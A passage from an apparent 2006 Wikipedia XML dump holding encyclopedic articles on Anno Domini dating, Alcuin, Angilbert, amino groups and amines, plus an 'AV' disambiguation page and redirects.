Anno Domini is sometimes referred to as the [[Common Era]] (''CE'') instead. This term is often preferred by those who want to avoid the association with the Christian era. For example, Cunningham and Starr (1998) write that &quot;B.C.E./C.E. ... do not presuppose faith in Christ and hence are more appropriate for interfaith dialog than the conventional B.C./A.D.&quot; When the [[People's Republic of China]] abolished the [[Republic of China]] era in [[1949]], it adopted Western years, calling that era ''gōngyuán'', 公元, which literally means Common Era.

=== Anno Salutis ===
Anno Salutis (often translated from [[Latin]] as ''in the year of salvation'') is a dating style used up until the eighteenth century, which like Anno Domini dates years from the birth of [[Christ]]. It can be explained in the context of Christian belief, where the birth of Jesus saved mankind from [[eternal damnation]]. It is often used in a more elaborate form such as Anno Nostrae Salutis (''in the year of our salvation''), Anno Salutis Humanae (''in the year of human well-being''), Anno Reparatae Salutis (''in the year of accomplished salvation'').

== Numbering of years ==
Historians do not use a [[year zero]] — AD 1 is the first year or epoch of the Anno Domini era, and 1 BC immediately precedes it as the first year before the epoch. This is a problem with some calculations; so in [[astronomical year numbering]] a zero is added, and the 'AD' and 'BC' are dropped. In keeping with 'standard decimal numbering', a negative sign '−' is added for earlier years, so counting down from year 2 would give 2, 1, 0, −1, −2, and so on. This results in a one-year shift between the two systems (eg −1 equals 2 BC). This article, however, is about the civil usage without a year zero.

== Earlier calendar epochs ==
''Anno Domini'' dating was not adopted in Western Europe until the eighth century. Like the other inhabitants of the [[Roman Empire]], early Christians used one of several methods to indicate a specific year — and it was not uncommon for more than one to be used in the same document. This redundancy allows historians to construct parallel regnal lists for many kingdoms and polities by comparing chronicles from different regions, which include the same rulers.

===Consular dating===
The earliest and most common practice was Roman '[[consul]]ar' dating. This involved naming both ''consulares ordinares'' who had been appointed to this office on [[January 1]] of the civil year. Sometimes one or both consuls might not be appointed until November or December of the previous year, and news of the appointment may not have reached parts of the Roman empire for several months into the current year; thus we find the occasional inscription where the year is defined as &quot;after the consulate&quot; of a pair of consuls.

===Dating from the founding of Rome===
Another method of dating, rarely used, was to indicate the year ''[[ab urbe condita]]'', or &quot;from the foundation of the City&quot; (abbreviated AUC), where &quot;the City&quot; meant [[Rome]]. Several epochs were in use by Roman historians. Modern historians usually adopt the epoch of [[Varro]], which we place in 753 BC.

About AD 400 the Iberian historian [[Orosius]] used the ''ab urbe condita'' era.  Pope [[Boniface IV]] (about AD 600) may have been the first to use both the ''ab urbe condita'' era and the ''Anno Domini'' era (he put AD 607 = AUC 1360).

===Regnal years of Roman emperors===
Another system that is less commonly found than thought was to use the [[regnal year]] of the [[Roman emperor]]. At first, [[Caesar Augustus|Augustus]] would indicate the year of his rule by counting how many times he had held the office of consul, and how many times the [[Roman Senate]] had granted him [[Tribune|Tribunican]] powers, carefully observing the fiction that his powers came from these offices granted to him, rather than from his own person or the many [[legion]]s under his control. His successors followed his practice until the memory of the [[Roman Republic]] faded (late in the second century or early in the third century), when they openly began to use their regnal year.

===Indiction cycles===
Another common system was to use the [[indiction]] cycle (15 indictions made up an agricultural tax cycle, an indiction being a year in duration). Documents and events began to be dated by the year of the cycle (e.g., &quot;fifth indiction&quot;, &quot;tenth indiction&quot;) in the fourth century, and was used long after the tax was no longer collected. This system was used in [[Gaul]], in [[Egypt]] until the [[History of early Arab Egypt | Islamic conquest]], and in the [[Eastern Roman Empire]] until its conquest in [[1453]].

===Other dating systems===
A great many local systems or [[era]]s were also important, for example the year from the foundation of one particular city, the regnal year of the neighboring [[History of Persia | Persian emperor]], and eventually even the year of the reigning [[Caliph]]. The beginning of the numbered year also varied from place to place, and was not largely standardized in [[Europe]] (except [[England]]) as [[January 1]] until the sixteenth century. The most important of these include the [[Seleucid era]] (in use until the eighth century), and the [[Spanish era]] (in use in official documents in [[Aragon]], [[Valencia]], and in [[Castile]], into the fourteenth century. In 1422, [[Portugal]] became the last country of [[western Europe]] to adopt the ''Anno Domini'' era).

== History of ''Anno Domini'' ==
Early Christians designated the year via a combination of consular dating, imperial regnal year dating, and Creation dating. Use of consular dating ended when the emperor [[Justinian I]] discontinued appointing consuls in the mid sixth century, shortly after he required that the use of imperial regnal dating. The last consul nominated was [[Anicius Faustus Albinus Basilius]] in 541. The [[papacy]] was in regular contact throughout the [[Middle Ages]] with envoys of the [[Byzantine Empire|Byzantine]] world, and had a clear idea — sudden deaths and deposals notwithstanding — of who was the [[Byzantine emperor]] at any one time.

The ''Anno Domini'' system was developed by a [[Scythia]]n monk named [[Dionysius Exiguus]] in Rome in 525, as an outcome of his work on calculating the [[computus|date of Easter]].  Byzantine chroniclers like [[Theophanes]] continued to date each year in their world chronicles on a different Judaeo-Christian basis — from the notional [[Creation (theology)|creation]] of the World as calculated by Christian scholars in the first five centuries of the Christian era.  These eras, sometimes called ''[[Anno Mundi]]'', &quot;year of the world&quot; (abbreviated AM), by modern scholars, had their own disagreements.  No single Anno Mundi epoch was dominant. One popular formulation was that established by [[Eusebius of Caesarea]], a historian at the time of [[Constantine I of the Roman Empire|Constantine I]].  The [[Latin]] translator [[Jerome]] helped popularize Eusebius's AM count in the West. Another formulation, dominant in the East during the early centuries of the Byzantine Empire, was developed by the [[Alexandria]]n monk [[Anninus of Alexandria|Anninus]].

=== Accuracy===
Almost all [[Biblical]] scholars believe that Dionysius was incorrect in his calculation, and that the date claimed for Jesus' birth was between 8 BC and 4 BC. The birth of Christ is known to have preceded the death of [[Herod the Great]] which occurred in 4 BC according to [[Johannes Kepler|Kepler]].

=== Popularization  ===
The first historian or chronicler to use Anno Domini as his primary dating mechanism was [[Victor of Tonnenna]], an African chronicler of the seventh century. A few generations later, the [[Anglo-Saxon]] historian [[Bede]], who was familiar with the work of Dionysius, also used Anno Domini dating in his ''Ecclesiastical History of the English People,'' finished in 731. In this same history, he was the first to use the Latin equivalent of ''before Christ'' and established the standard for historians of no [[year zero]], even though he used zero in his [[computus]]. Both Dionysius and Bede regarded Anno Domini as beginning at the incarnation, or conception, of Jesus, not his birth approximately nine months later (''[[Annunciation]] style''). 

On the continent of [[Europe]], Anno Domini was introduced as the era of choice of the [[Carolingian Renaissance]] by [[Alcuin]]. This endorsement by [[Charlemagne]] and [[List of Frankish Kings | his successors]] popularizing the usage of the epoch and spreading it throughout the [[Carolingian Empire]] ultimately lies at the core of the system's prevalence until present times.

Outside the Carolingian Empire, Spain continued to date by the [[Era of the Caesars]], or [[Spanish Era]], well into the Middle Ages, which counted beginning with 38 BC. The [[Era of Martyrs]], which numbered years from the accession of [[Diocletian]] in [[284]], who launched the last yet most severe persecution of Christians, prevailed in the East and is still used officially by the [[Coptic Christianity|Coptic]] and used to be used by the [[Tewahedo Church|Ethiopian]] church. Another system was to date from the [[crucifixion]] of Jesus Christ, which as early as [[Hippolytus (writer)|Hippolytus]] and [[Tertullian]] was believed to have occurred in the consulate of the Gemini (AD 29), which appears in the occasional medieval manuscript.

Even though Anno Domini was in widespread use by the ninth century, Before Christ (or its equivalent) did not become widespread until the late fifteenth century.

== Other eras in official use  ==
Some other eras were in official use in [[Modern Europe|modern times]] or are still in use in several countries alongside the current international Anno Domini era.
=== European attempts ===
* The [[French Revolution]] seriously attempted to displace the Anno Domini system by instead dating from 22 September 1792 = 1 vendémiaire an I (''an'' means year in [[French language|French]]) of the [[First French Republic]]. (''see'' [[French Revolutionary Calendar]]). Napoléon finally abolished the calendar effective [[1 January]] [[1806]], the day after 10 nivôse an XIV.
* The [[Fascism|Italian Fascists]] used the standard system along with [[Roman numerals]] to denote the number of years since the establishment of the Fascist government in [[1922]]. Therefore, 1934, for example, was Year XII. This era was abolished with the fall of fascism in Italy on [[July 25]], [[1943]]. &lt;br&gt; ''Both attempts ultimately failed to replace the standard calendar.''

=== Asian national eras ===
* The official [[Japanese era name|Japanese system]] numbers years from the accession of the current [[Emperor of Japan|emperor]], regarding the calendar year during which the accession occurred as the first year.
* It is still very common in [[Taiwan]] to date events via the [[Republic of China]] era, whose first year is [[1912]].
* [[North Korea]] uses a system that starts in 1912 (= [[Juche]] 1), the year of the birth of their founder [[Kim Il-Sung]]. The year 2004 was &quot;Juche 93&quot;. ''Juche'' means ''&quot;[[autarchy]], self-reliance&quot;''.
* In [[Thailand]] in 1888 King [[Chulalongkorn]] decreed a National Thai Era since founding of [[Bangkok]] on 1782, April 6. In 1912 the New Year's Day was shifted to April 1. In [[1941]], the Prime Ministre [[Phibunsongkhram]] decided to count the years since B.C. 543. This is the so-called [[Thai solar calendar]] or Thailand Buddhist Era clearly relied on the western solar calendar. This is one of the versions of the [[Buddhist calendar]].

=== Religious eras ===
* In [[Israel]], the traditional [[Hebrew calendar]], using an era [[Anno mundi|dating from Creation]], is in official use.
* In the [[Islam]]ic world, traditional [[Islamic calendar|Islamic dating]] according to the ''Anno Hegiræ'' (in the year of the ''[[Hijra (Islam)|hijra]]'') era remains in use to a varying extent, especially for religious purposes.

==See also==
{{wiktionarypar2|AD|Anno Domini}}

* [[Calendar]]
* [[Calendar era]]
* [[Chronology]]

==References==
* {{cite book
 | last = Declercq | first = Georges
 | title = Anno Domini: The origins of the Christian era
 | location = Turnhout
 | publisher = Brepols
 | year = 2000
 | id = ISBN 2503510507
 }} (despite beginning with 2, it is English)
* ———. &quot;Dionysius Exiguus and the Introduction of the Christian Era&quot;. ''Sacris Erudiri'' 41 (2002): 165–246. An annotated version of part of ''Anno Domini''.
* {{cite book
 | last = Richards | first =  E. G.
 | title = Mapping Time
 | location = Oxford
 | publisher = Oxford University Press
 | year = 2000
 | id = ISBN 0192862057
 }}
* {{cite web
 | author = John Riggs
 | year = January-February 2003
 | url = http://www.ucc.org/ucnews/jan03/asiseeit.htm
 | title = Whatever happened to B.C. and A.D., and why?
 | publisher =United Church News
 | accessdate = December 19
 | accessyear = 2005
 }}
* {{cite book
 | author = Philip A Cunningham
 | coauthors = Arthur F Starr
 | year = 1998
 | title = Sharing Shalom: A Process for Local Interfaith Dialogue Between Christians and Jews
 | publisher = Paulist Press
 | id = ISBN 0809138352
}}

== Note ==
* {{note|gregorian}} [1] The mean year of the Gregorian calendar is 365.2425 days. This approximated the mean tropical year more than five millennia ago. The real (mean) [[tropical year]] is now very close to 365.2421875 days i.e. 27s/year shorter. However, relative to the [[vernal equinox]] year, important for the determination of the date of Christian [[Easter]], the older [[Aloysius Lilius|Lilius]] definition of the year is and will be a very good value. The ''vernal equinox year'' and the ''mean tropical year'' have falsely been seen as identical even by many erudite persons of the 20th century.
* The approximation of the year in the old [[Persian calendar]] attributed to [[Omar Khayyám]] is 365.24&lt;font style=&quot;text-decoration: overline&quot;&gt;24&lt;/font&gt; days, which is very close to the vernal equinox year, but requires a 33-year cycle.
* The definition of [[Milutin Milanković]], used in the &quot;[[revised Julian calendar]]&quot;, is 365.24&lt;font style=&quot;text-decoration: overline&quot;&gt;22&lt;/font&gt; days, which is very close to the mean tropical year, but uses unequal long-period cycles.

==External links==
*[http://www.newadvent.org/cathen/03738a.htm ''The Catholic Encyclopedia,'' s.v. &quot;General Chronology&quot;]

{{featured article}}

[[Category:Calendars]]
[[Category:Christian history]]
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[[Category:Latin religious phrases]]

[[da:Anno Domini]]
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[[es:Era cristiana]]
[[fi:Jälkeen Kristuksen]]
[[fr:Anno Domini]]
[[ga:Anno_Domini]]
[[he:ספירת הנוצרים]]
[[ja:西暦]]
[[la:Anno Domini]]
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[[pt:A.C.]]
[[sw:Baada ya Kristo]]
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[[zh:公元]]</text>
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        <username>McCart42</username>
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      <minor />
      <comment>add approval voting</comment>
      <text xml:space="preserve">'''AV''' may mean:
*Adult video, see [[Pornography]]
*[[AltaVista]], a search engine
*[[Alterac Valley]], a [[player versus player]] [[instance dungeon]] in the [[MMORPG]] ''[[World of Warcraft]]''
*Alternative Vote, see [[Instant-runoff voting]]
*[[Angela Via]], a singer
*[[Anguilla]] ([[List of FIPS country codes|FIPS 10-4 code]] and obsolete [[NATO country code|NATO digram]])
*[[Antelope Valley]], a desert region of northern [[Los Angeles County, California]], in the [[United States|US]]
*Anti-virus, see [[Anti-virus software]]
*[[Artificial vagina]], a sex-toy
*[[Audio-visual]], see [[Video]]
*Authorised Version or [[King James Version of the Bible]]
*[[Avatar (virtual reality)]], a representation of a user in virtual reality
*Avenue, see [[Road]] ('''Ave.''' is more frequent)
*[[Average]]
*[[Avianca]]; AV is the [[IATA]] code for this airline
*[[Arcade Volleyball]], an [[MS-DOS]] [[Computer and video games|computer game]]
*[[Approval Voting]]

'''Av''' may mean:
* [[Av (month)|Av]], a month in the Hebrew calendar

'''aV''' may mean:
*[[atto]][[volt]], an SI unit of electromotive force

'''av''' may mean:
*[[Avar language]]; [[ISO 639-1]] code for this language

{{2LCdisambig}}

[[de:AV]]
[[ko:AV]]
[[it:Av]]
[[ja:AV]]
[[sl:AV]]
[[zh:AV]]</text>
    </revision>
  </page>
  <page>
    <title>Amino group</title>
    <id>1406</id>
    <revision>
      <id>40631827</id>
      <timestamp>2006-02-21T23:19:16Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">In [[chemistry]], especially in [[organic chemistry]] and [[biochemistry]], an '''amino group''' is an [[ammonia]]-like [[functional group]] composed of a [[nitrogen]] and two [[hydrogen]] atoms covalently linked.

:-{{nitrogen}}{{hydrogen}}&lt;sub&gt;2&lt;/sub&gt;

It is a basic functional group that can give the [[free electron pair]] of the nitrogen atom to the proton of an [[acid]]. In this process, it becomes positively charged.

A compound containing an amino group is called an [[amine]].

==See also==
* [[Amino acid]]
* [[Amino Communications]]
* [[Amino Software]]

{{organic-compound-stub}}

[[Category:Functional groups]]


[[ca:Grup amino]]
[[da:Amin]]
[[de:Aminogruppe]]
[[es:Grupo amino]]
[[eo:Aminogrupo]]
[[ja:&amp;#12450;&amp;#12511;&amp;#12494;&amp;#22522;]]
[[ko:아미노기]]
[[pl:Grupa aminowa]]
[[ru:Аминогруппа]]</text>
    </revision>
  </page>
  <page>
    <title>Antony van Leeuwenhook</title>
    <id>1407</id>
    <revision>
      <id>15899892</id>
      <timestamp>2002-10-09T13:59:00Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Anton van Leeuwenhoek]]</comment>
      <text xml:space="preserve">#REDIRECT [[Anton van Leeuwenhoek]]</text>
    </revision>
  </page>
  <page>
    <title>Alcuin</title>
    <id>1408</id>
    <revision>
      <id>40414027</id>
      <timestamp>2006-02-20T10:30:52Z</timestamp>
      <contributor>
        <username>Xareu bs</username>
        <id>380341</id>
      </contributor>
      <text xml:space="preserve">[[Image:Raban-Maur Alcuin Otgar.jpg|thumb|[[Rabanus Maurus]] (left), supported by Alcuin (middle), presents his work to Otgar of Mainz ]]

'''Flaccus Albinus Alcuinus''' or '''Ealhwine''' (c. [[735]]-[[May 19]], [[804]]) was a [[Monasticism|monk]] from [[York, England]]. He was related to [[Willibrord]], [[Anglo-Saxon]] [[missionary]] to the [[Frisian]]s and the first [[bishop of Utrecht]], whose biography he afterwards wrote.

Alcuin of York had a long career as a teacher and scholar first at the school at York (now known as St Peters School, York, founded AD [[627]]) and lastly as [[Charlemagne]]'s leading advisor on ecclesiastical and educational affairs. From [[796]] until his death he was [[abbot]] of the great [[monastery]] of [[Martin of Tours|St. Martin of Tours]].

He was educated at the cathedral school of York, under the celebrated master [[Ethelbert of York]], with whom he also went to [[Rome]] seeking [[manuscript]]s. When [[Ethelbert]] was appointed [[Archbishop of York]] in [[766]], Alcuin succeeded him in the headship of the episcopal school. He again went to [[Rome]] in [[780]], to fetch the ''[[pallium]]'' for Archbishop [[Eanbald I of York]], and at [[Parma]] met Charlemagne. Charlemagne persuaded him to come to his court and gave him the possession of the great abbeys of [[Ferrieres]] and [[Saint-Loup]] at [[Troyes]].

From [[782]] to [[790]], Alcuin had as pupils the king of the Franks, his kinsmen, the young men sent for their education to the court, and the young [[cleric]]s attached to the palace chapel; he was the life and soul of the Academy of the palace, and we have still, in the ''Dialogue of Pepin (son of Charlemagne) and Alcuin'', a sample of the intellectual exercises in which they indulged. One surviving tool of the drive to reform [[education]] is Charlemagne's circular letter ''De Litteris Colendis'', &quot;On the Study of Letters&quot;, which Alcuin wrote.

In [[790]] Alcuin went back to England, to which he had always been greatly attached, and dwelt there for some time; but Charlemagne invited him back to help in the fight against the [[Adoptionism|Adoptionist]] [[heresy]], which was at that time making great progress in Toledo [[Spain]], the old capital town of the [[Visigoths]] and still a major city for the Christians under Islamic rule in Spain. He is believed to have had contacts with [[Beato de Liébana]], from the [[Kingdom of Asturias]], who fighted against Adoptionism.  At the [[Council of Frankfurt]] in [[794]], Alcuin upheld the [[orthodox]] doctrine, and obtained the condemnation of the ''heresiarch'' [[Felix of Urgel]].  After this victory he again went back to England, but on account of the disturbances which broke out there, and which led to the death of King [[Ethelred]] ([[796]]), he left it forever. Charlemagne had given him the great abbey of St. Martin at Tours, where he was to pass his last years.

He made the abbey school into a model of excellence, and many students flocked to it; he had many manuscripts copied, the [[calligraphy]] of which is of outstanding beauty. He wrote many letters to his friends in England, to [[Arno, bishop of Salzburg]], and above all to Charlemagne. These letters, of which 311 are extant, are filled mainly with pious meditations, but they further form a mine of information as to the literary and social conditions of the time, and are the most reliable authority for the history of [[humanism]] in the [[Carolingian]] age. He also trained the numerous monks of the abbey in piety, and it was in the midst of these pursuits that he died.

Alcuin is the most prominent figure of the [[Carolingian Renaissance]], in which three main periods have been distinguished: in the first of these, up to the arrival of Alcuin at the court, the [[Italy|Italian]]s occupy the central place; in the second, Alcuin and the Anglo-Saxons are dominant; in the third, which begins in [[804]], the influence of the [[Visigoth]] [[Theodulf]] is preponderant.

Alcuin transmitted to the [[Franks]] the knowledge of Latin culture which had existed in England. We still have a number of his works. His letters have already been mentioned; his [[poetry]] is equally interesting. Besides some graceful epistles in the style of [[Fortunatus]], he wrote some long poems, and notably a whole history in verse of the church at York: ''Versus de patribus, regibus et sanctis Eboracensis ecclesiae''. 

We owe to him, too, some manuals used in his educational work; a [[grammar]] and works on [[rhetoric]] and [[dialectics]]. They are written in the form of [[dialogue]]s, and in the two last the interlocutors are Charlemagne and Alcuin. He also wrote several [[theological]] treatises: a ''De fide Trinitatis'', commentaries on the [[Bible]], etc.

[[Alcuin College]], part of the [[University of York]], is named after him.

== Further reading ==
*''Alcuin and the Rise of the Christian Schools'' by Andrew Fleming West ISBN 083711635X

==External links==

* {{MacTutor Biography|id=Alcuin}}

{{wikiquote}}

[[Category:804 deaths]]
[[Category:Middle Ages]]
[[Category:English theologians]]
[[Category:Anglo-Saxon people]]
[[Category:Roman Catholic monks]]

[[bg:Алкуин]]
[[da:Alcuin]]
[[de:Alkuin]]
[[es:Alcuino de York]]
[[fr:Alcuin]]
[[gl:Alcuino de York]]
[[nl:Alcuinus]]
[[ja:アルクィン]]
[[pl:Alkuin]]
[[pt:Alcuíno de Iorque]]
[[sk:Alcuin]]
[[fi:Alkuin]]
[[uk:Алкуін]]</text>
    </revision>
  </page>
  <page>
    <title>Angilbert</title>
    <id>1409</id>
    <revision>
      <id>41299126</id>
      <timestamp>2006-02-26T10:48:18Z</timestamp>
      <contributor>
        <username>Chris93</username>
        <id>399696</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Angilbert,''' (died [[February 18]], [[814]]), was a [[Franks|Frank]] who served [[Charlemagne]] as a diplomat, abbot, and semi-son-in-law.

He was of noble Frankish parentage, and educated at the palace school under [[Alcuin]].

When Charlemagne sent his young son [[Pepin of Italy|Pepin]] to Italy as King of the [[Lombards]] Angilbert went along as ''primicerius palatii,'' a high administrator of the satellite court. As the friend and adviser of Pepin, he assisted for a while in the government of Italy. Angilbert delivered the document on [[Iconoclasm]] from the Frankish Synod of Frankfurt to [[Pope Adrian I]], and was later sent on three important embassies to the pope, in 792, 794 and 796. 

In [[790]] he was named abbot of Saint-Riquier in northern France (often called by its Roman name, Centula), where his brilliant rule gained for him later the renown of a saint.  It was not uncommon for the [[Merovingian]], [[Carolingian]], or later kings to make laymen abbots of monasteries;  the layman would often use the income of the monastery as his own and leave the monks a bare minimum for the necessary expenses of the foundation.  Angilbert, in contrast, spent a great deal rebuilding Saint-Riquier, and when he completed it Charlemagne spent Easter of the year 800 there.

Angilbert's non-sacramental relationship with Bertha was evidently recognized by the court - if she had not been the daughter of the King historians might refer to her as his ''concubine.''  They had at least two sons, one of whom, [[Nithard]], became a notable figure in the mid-9th century.  Control of [[marriage]] and the meanings of legitimacy were hotly contested in the [[Middle Ages]].  Bertha and Angilbert are an example of how resistance to the idea of a sacramental marriage could coincide with holding church offices.

His poems reveal the culture and tastes of a man of the world, enjoying the closest intimacy with the imperial family. He accompanied Charlemagne to Rome in 800 and was one of the witnesses to his will in 814. Angilbert was the [[Homer]] of the emperor's literary circle, and was the probable author of an [[epic poetry|epic]], of which the fragment which has been preserved describes the life at the palace and the meeting between Charlemagne and Leo III. It is a mosaic from [[Virgil]], [[Ovid]], [[Lucan]] and [[Fortunatus]], composed in the manner of Einhard's use of Suetonius, and exhibits a true poetic gift. Of the shorter poems, besides the greeting to Pippin on his return from the campaign against the [[Avars]] (796), an epistle to David (Charlemagne) incidentally reveals a delightful picture of the poet living with his children in a house surrounded by pleasant gardens near the emperor's palace. The reference to Bertha, however, is distant and respectful, her name occurring merely on the list of princesses to whom he sends his salutation.

Angilbert's poems have been published by [[E. Dummler]] in the ''[[Monumenta Germaniae Historica]]''. For criticisms of this edition see [[Traube]] in ''Roederer's Schriften für germanische Philologie'' (1888). See also [[A. Molinier]], ''Les Sources de l'histoire de France''.

{{1911}}

[[Category:Frankish people]]
[[Category:814 deaths]]


[[de:Angilbert]]
[[fr:Saint Angilbert]]</text>
    </revision>
  </page>
  <page>
    <title>Antony van Leeuwenhoek</title>
    <id>1410</id>
    <revision>
      <id>15899895</id>
      <timestamp>2002-10-09T13:59:20Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment> #REDIRECT [[Anton van Leeuwenhoek]]</comment>
      <text xml:space="preserve">#REDIRECT [[Anton van Leeuwenhoek]]</text>
    </revision>
  </page>
  <page>
    <title>Amine</title>
    <id>1412</id>
    <revision>
      <id>42095651</id>
      <timestamp>2006-03-03T20:19:42Z</timestamp>
      <contributor>
        <username>V8rik</username>
        <id>195918</id>
      </contributor>
      <comment>By [[organic oxidation|oxidation]] to [[nitroso]] compounds, for instance [[Peroxymonosulfuric acid]].</comment>
      <text xml:space="preserve">[[image:ammonia.png|frame|Ammonia]]
'''Amines''' are [[organic compound]]s and a type of [[functional group]] that contain [[nitrogen]] as the key atom.  Structurally amines resemble [[ammonia]], wherein one or more [[hydrogen]] atoms are replaced by organic [[substituent]]s such as [[alkyl]]  and [[aryl]] groups.  An important exception to this rule is that compounds of the type RC(O)NR&lt;sub&gt;2&lt;/sub&gt;, where the C(O) refers to a [[carbonyl group]], are called [[amide]]s rather than amines. Amides and amines have different structures and properties, so the distinction is chemically important.  Somewhat confusing is the fact that  amines wherein an N-H group has been replaced by an N-M group (M = metal) are also called amides.  Thus (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;NLi is lithium dimethylamide.

See the [[:Category:Amines]] for a list of types of amine and some real examples of this class of chemical. 

==Introduction==
===Aliphatic Amines===
As displayed in the images below, '''primary amines''' arise when one of three hydrogen atoms in ammonia is replaced by an organic substituent.  '''Secondary amines''' have two organic substituents bound to N together with one H.  In '''tertiary amines''' all three hydrogen atoms are replaced by organic substituents.  Note: the subscripts on the '''R''' groups are simply used to differentiate the organic substituents &lt;!--superscripts are preferred--&gt;.  However, the number subscripts on the H atoms show how many H atoms there are in that group.  
{| border=&quot;0&quot; spacing=&quot;5&quot; align=&quot;center&quot;
|- valign=&quot;top&quot;
| '''Primary Amine:'''&lt;br /&gt;[[image:amina1.png|75px|primary amine]]
| '''Secondary Amine:'''&lt;br /&gt;[[image:amina2.png|75px|secondary amine]]
| '''Tertiary Amine:'''&lt;br /&gt;[[image:amina3.png|75px|tertiary amine]]
|}

Similarly, an organic compound with  multiple amino groups is called  a  '''diamine''' , '''triamine''', '''tetraamine''' and so forth.

===Aromatic amines===
Aromatic amines have the nitrogen atom connected to an [[aromatic]] ring as in [[aniline]]s.  The aromatic ring strongly decreases the [[base (chemistry)|basicity]] of the amine, depending on its substituents. Interestingly, the presence of an amine group strongly increases the reactivity of the aromatic ring, due to an electron-donating affect. One [[organic reaction]] involving aromatic amines is the [[Goldberg reaction]].

==Naming conventions==
* the prefix &quot;N-&quot; shows substitution on the nitrogen atom (in the case of secondary, tertiary and quaternary amines)
* as prefix: &quot;amino-&quot;
* as suffix: &quot;-amine&quot;
* remember that chemical compounds are not proper nouns, so lower case is indicated throughout.
Systematic names for some common amines:
{| border=&quot;0&quot; align=&quot;center&quot; spacing=&quot;5&quot;
|- valign=&quot;top&quot; align=&quot;center&quot;
| Lower amines are named with the suffix ''-amine''.&lt;br /&gt;
[[image:methylamine.png|100px]]&lt;br /&gt;
'''methylamine'''
| Higher amines have the prefix ''amino'' as a functional group.&lt;br /&gt;
[[image:2-amino-pentane.png|150px]]&lt;br /&gt;
'''2-aminopentane'''&lt;br/&gt;(or sometimes: ''pent-2-yl-amine'' or ''pentane-2-amine'')
|}

*Primary amines: 2-aminoethanol or [[ethanolamine]]
*Secondary amines:  [[dimethylamine]]
*Tertiary amines: [[trimethylamine]]

==Physical properties==
===General properties===
* 1. [[Hydrogen bonding]] significantly influences the properties of primary and secondary amines as well as the protonated derivatives of all amines. Thus the [[boiling point]] of amines is higher than those for the corresponding [[phosphine]]s, but generally lower than the corresponding [[alcohol]]s.  Alcohols, or alkanols, resemble amines but feature an -OH group in place of NR&lt;sub&gt;2&lt;/sub&gt;.  Since oxygen is more [[electronegative]] than nitrogen, RO-''H''  is typically more acidic than the related R&lt;sub&gt;2&lt;/sub&gt;N-''H'' compound.
* 2. Methyl, dimethyl, trimethyl, and ethyl amines are gases under standard conditions.  Most common alkyl amines are liquids;  high [[molecular weight]] amines are, of course, solids.
* 3. Gaseous amines possess a characteristic ammonia smell, liquid amines have a distinctive &quot;fishy&quot; smell.
* 4. Most aliphatic amines display some solubility in water, reflecting their ability to form hydrogen bonds.  Solubility decreases with the increase in the number of carbon atoms, especially when the carbon atom number is greater than 6.
* 5. Aliphatic amines display significant solubility in organic [[solvent]]s, especially polar organic solvents.  Primary amines react with [[ketone]]s such as [[acetone]], and most amines are incompatible with [[chloroform]] and [[carbon tetrachloride]].
* 6. The aromatic amines have their lone pair electrons [[conjugated system|conjugated]] into the benzene ring, thus their tendency to engage in hydrogen bonding is diminished.  Otherwise they display the following properties:
** Their boiling points are usually still high &lt;!--&quot;higher&quot;: than what?--&gt;due to their larger size.
** Diminished solubility in water, although they retain their solubitity in suitable organic solvents only.
** They are toxic &lt;!-- which one has: b.p.184 C?--&gt; and are easily absorbed through the skin: thus hazardous.
[[Image:Inversion_of_Amine.PNG|200px|right|amine inversion]]

=== Chirality===
Tertiary amines of the type NHRR' and NRR'R&quot; are [[optical isomer|chiral]]: the nitrogen atom bears four distinct substituents counting the lone pair.  The energy barrier for the [[Walden inversion|inversion]] of the stereocenter is relatively low, e.g. ~7 kcal/mol for a trialkylamine. The interconversion of the stereoisomers has been compared to the inversion of an open umbrella in to a strong wind.  Because of this low barrier, amines such as NHRR' cannot be resolved optically and NRR'R&quot; can only be resolved when the R, R', and R&quot; groups are constrained in cyclic structures.

===Properties as bases===
Like ammonia, amines act as [[base (chemistry)|bases]] and are reasonably strong (see table for examples of [[conjugate acid]] K&lt;sub&gt;a&lt;/sub&gt; values). The basicity of amines depends on:
#The availability of lone pair on N.
#The electronic properties of the substituents (alkyl groups enhance the basicity, aryl groups diminish it).
#The degree of solvation of the protonated amine.

The nitrogen atom features a [[lone electron pair]] that can bind H&lt;sup&gt;+&lt;/sup&gt; to form an [[ammonium ion]] R&lt;sub&gt;3&lt;/sub&gt;NH&lt;sup&gt;+&lt;/sup&gt;.  The lone electron pair is represented in this article by a two dots above or next to the N. The water [[solubility]] of simple amines is largely due to [[hydrogen bonding]] between protons on the water molecules and these lone electron pairs.

* [[Inductive effect]] of alkyl groups
{| class=&quot;toccolours&quot; style=&quot;float: center; border-collapse: collapse; margin: 0em 1em;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
! Ions of compound
! K&lt;sub&gt;b&lt;/sub&gt; 
|-
| [[Ammonia]] NH&lt;sub&gt;3&lt;/sub&gt;
| 1.8&amp;middot;10&lt;sup&gt;-5&lt;/sup&gt; M
|-
| [[Methylamine]] CH&lt;sub&gt;3&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;
| 4.4&amp;middot;10&lt;sup&gt;-4&lt;/sup&gt; M
|-
| [[propylamine]] CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;
| 4.7&amp;middot;10&lt;sup&gt;-4&lt;/sup&gt; M
|-
| [[2-propylamine]] (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;CHNH&lt;sub&gt;2&lt;/sub&gt;
| 5.3&amp;middot;10&lt;sup&gt;-4&lt;/sup&gt; M
|-
| [[diethylamine]] (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;
| 9.6&amp;middot;10&lt;sup&gt;-4&lt;/sup&gt; M
|}

: +I effect of alkyl groups raises the energy of the lone pair of electrons, thus elevating the basicity.

* [[Mesomeric effect]] of aromatic systems

